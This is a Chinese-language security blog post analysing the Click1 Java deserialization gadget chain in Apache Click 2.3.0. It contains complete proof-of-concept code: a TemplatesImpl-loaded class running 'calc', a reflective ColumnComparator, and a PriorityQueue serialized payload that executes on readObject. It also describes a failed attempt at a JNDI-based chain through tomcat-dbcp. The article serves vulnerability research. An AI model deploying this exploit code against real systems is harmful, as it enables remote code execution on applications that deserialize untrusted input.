Java 安全 | Click1 链分析

admin 2025年5月5日14:14:08评论7 views字数 7887阅读26分17秒阅读模式

Click1 链分析

  • 环境说明
  • 链路分析
    • 危险方法
    • 链路开头 -> readObject
  • 一条新链挖掘【失败】
  • Ending...

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

环境说明

Click1      @artsploit     click-nodeps:2.3.0, javax.servlet-api:3.1.0

这条链子默认包含CC3.2.1版本, 但也是ysoserial中的一部分, 分析看看吧, 玩一玩代码之间的调用.

<dependency><groupId>org.apache.click</groupId><artifactId>click-nodeps</artifactId><version>2.3.0</version></dependency>

分析一下click-nodeps, 看一下Maven传递以及默认传递引入了哪些依赖:

Java 安全 | Click1 链分析

从中可以看到, 这里默认编译环境引入了servlet-api的2.3版本, 而由于provided在打包时不会传递给其他模块. 而该链路最终的危险方法实际上引用到了Tomcat中的类, 如果目标环境不存在, 会报ClassNotFound异常. 所以需要引入servlet-api, 那么当前环境也就是如下所示:

<dependencies><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>3.1.0</version></dependency><dependency><groupId>org.apache.click</groupId><artifactId>click-nodeps</artifactId><version>2.3.0</version></dependency></dependencies>

题外话: 看一下默认传递的依赖有哪些, 直接在Maven中进行查看即可:

Java 安全 | Click1 链分析

从中可以看到 CC 链的 Maven 传递.

链路分析

危险方法

ysoserial中的POC如下:

Java 安全 | Click1 链分析

那么就它了, 看一下这个类的大体架构:

Java 安全 | Click1 链分析

这里有一个类似于FastJson的扫描getter的一个操作, 不难想到TemplatesImpl.getOutputProperties, 实际上为什么需要servlet-api这个依赖, 则是因为在扫描getterClickUtils中对servlet-api中的类进行引用了, 如图:

Java 安全 | Click1 链分析

PropertyUtils::getValue 手动调用

那么我们先从最基础的PropertyUtils手动调用其getValue方法进行编写POC, 先准备一个TemplatesImpl必须加载的类:

package com.heihu577.bean;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;publicclassEvilextendsAbstractTranslet{static {try {            Runtime.getRuntime().exec("calc");        } catch (IOException e) {thrownew RuntimeException(e);        }    }@Overridepublicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {}@Overridepublicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}}

随后编写如下代码:

publicclassDemo{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesImpl = getTemplatesImpl();        Object value = PropertyUtils.getValue(templatesImpl, "outputProperties");    }publicstatic TemplatesImpl getTemplatesImpl()throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        Field name = templates.getClass().getDeclaredField("_name");        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        name.setAccessible(true);        tfactory.setAccessible(true);        bytecodes.setAccessible(true);byte[][] myBytes = newbyte[1][];        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();        bytecodes.set(templates, myBytes);        name.set(templates, "aa");        tfactory.set(templates, new TransformerFactoryImpl());return templates;    }}

运行即可弹出计算器.

ColumnComparator::compare 手动调用

当然我们知道的是, PropertyUtils这个类并没有实现Serializable接口, 但是由于在ColumnComparator(内部类)::compare方法中进行调用了, 而ColumnComparator这个类实现了Serializable, 这才产生了链路, 我们本地构造POC时需要注意以下问题:

Java 安全 | Click1 链分析

那么我们构造一下ColumnComparator, 并且将outputProperties字符串塞在name属性中, 调用compare方法时第一个参数放入我们的TemplatesImpl对象, 构造如下:

package com.heihu577;import com.heihu577.bean.Evil;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.click.control.Column;import org.apache.click.control.Table;import org.apache.click.util.PropertyUtils;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Comparator;publicclassDemo{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesImpl = getTemplatesImpl();// Object value = PropertyUtils.getValue(templatesImpl, "outputProperties");        Column column = new Column();        column.setName("outputProperties");        column.setTable(new Table());        Class<?> clazz = Class.forName("org.apache.click.control.Column$ColumnComparator");        Constructor<?> columnComparatorConstructor = clazz.getDeclaredConstructor(Column.class);        columnComparatorConstructor.setAccessible(true);        Comparator o = (Comparator) columnComparatorConstructor.newInstance(column);        o.compare(templatesImpl, null);    }publicstatic TemplatesImpl getTemplatesImpl()throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        Field name = templates.getClass().getDeclaredField("_name");        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        name.setAccessible(true);        tfactory.setAccessible(true);        bytecodes.setAccessible(true);byte[][] myBytes = newbyte[1][];        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();        bytecodes.set(templates, myBytes);        name.set(templates, "aa");        tfactory.set(templates, new TransformerFactoryImpl());return templates;    }}

运行即可弹出计算器, 链路最终的危险方法分析完毕.

链路开头 -> readObject

分析链路开头很容易, 找一下谁调用了compare方法, 在之前CC链时使用过PriorityQueue, 依旧使用上它即可:

package com.heihu577;import com.heihu577.bean.Evil;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.click.control.Column;import org.apache.click.control.Table;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;publicclassDemo{publicstaticvoidmain(String[] args)throws Exception {        TemplatesImpl templatesImpl = getTemplatesImpl();// Object value = PropertyUtils.getValue(templatesImpl, "outputProperties");        Column column = new Column();        column.setName("outputProperties");        column.setTable(new Table());        Class<?> clazz = Class.forName("org.apache.click.control.Column$ColumnComparator");        Constructor<?> columnComparatorConstructor = clazz.getDeclaredConstructor(Column.class);        columnComparatorConstructor.setAccessible(true);        Comparator o = (Comparator) columnComparatorConstructor.newInstance(column);// o.compare(templatesImpl, null);        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, o);        Field size = queue.getClass().getDeclaredField("size");        size.setAccessible(true);        queue.add(templatesImpl);        size.set(queue, 0); // 通过修改 size, 防止 add 方法调用到链路        queue.add(templatesImpl);        size.set(queue, 2); // 通过修改 size, 防止 add 方法调用到链路        serialize(queue);        unserialize();    }publicstaticvoidserialize(Object o)throws Exception {        FileOutputStream fileOutputStream = new FileOutputStream("./1.ser");new ObjectOutputStream(fileOutputStream).writeObject(o);    }publicstaticvoidunserialize()throws Exception {new ObjectInputStream(new FileInputStream("./1.ser")).readObject();    }publicstatic TemplatesImpl getTemplatesImpl()throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");        Field name = templates.getClass().getDeclaredField("_name");        Field tfactory = templates.getClass().getDeclaredField("_tfactory");        name.setAccessible(true);        tfactory.setAccessible(true);        bytecodes.setAccessible(true);byte[][] myBytes = newbyte[1][];        myBytes[0] = Repository.lookupClass(Evil.class).getBytes();        bytecodes.set(templates, myBytes);        name.set(templates, "aa");        tfactory.set(templates, new TransformerFactoryImpl());return templates;    }}

一条新链挖掘【失败】

是尝试新链的过程, 失败告终, 引入依赖:

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>9.0.8</version></dependency>

在此基础之上笔者在寻找满足getXXX并且以public为修饰符同时实现Serializable接口并可利用的类, 最终发现org.apache.tomcat.dbcp.dbcp2.datasources.InstanceKeyDataSource抽象类, 如下:

Java 安全 | Click1 链分析

而继承于InstanceKeyDataSource类的子类org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource是可以利用的, 它的getPooledConnectionAndInfo存在JNDI注入, 如下:

Java 安全 | Click1 链分析

但由于writeObject方法的限制, 让本条链子无法使用,首先:

Java 安全 | Click1 链分析

但最终返回对象为 NULL:

Java 安全 | Click1 链分析

所以readObject方法还没走完, 程序提前结束了, 那如果不伪造instanceKey, 也无法利用, 分支如下:

Java 安全 | Click1 链分析

虽然不会阻挡readObject的执行, 但是getConnection方法又不允许了.

Java 安全 | Click1 链分析

很矛盾的一件事情, 后续有兴趣再找找符合条件的链子.

Ending...

原文始发于微信公众号(Heihu Share):Java 安全 | Click1 链分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月5日14:14:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java 安全 | Click1 链分析https://cn-sec.com/archives/4029387.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息